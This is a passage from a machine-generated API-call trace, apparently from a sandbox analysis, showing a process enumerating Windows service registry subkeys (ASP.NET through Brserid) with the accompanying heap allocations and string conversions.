RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.651] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.651] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.652] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.652] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.652] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0250.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.653] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.653] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.653] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.653] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0250.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.654] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.654] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.654] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0250.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.654] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.655] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.655] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.655] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0250.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.656] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.656] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.656] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.656] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0250.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.657] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 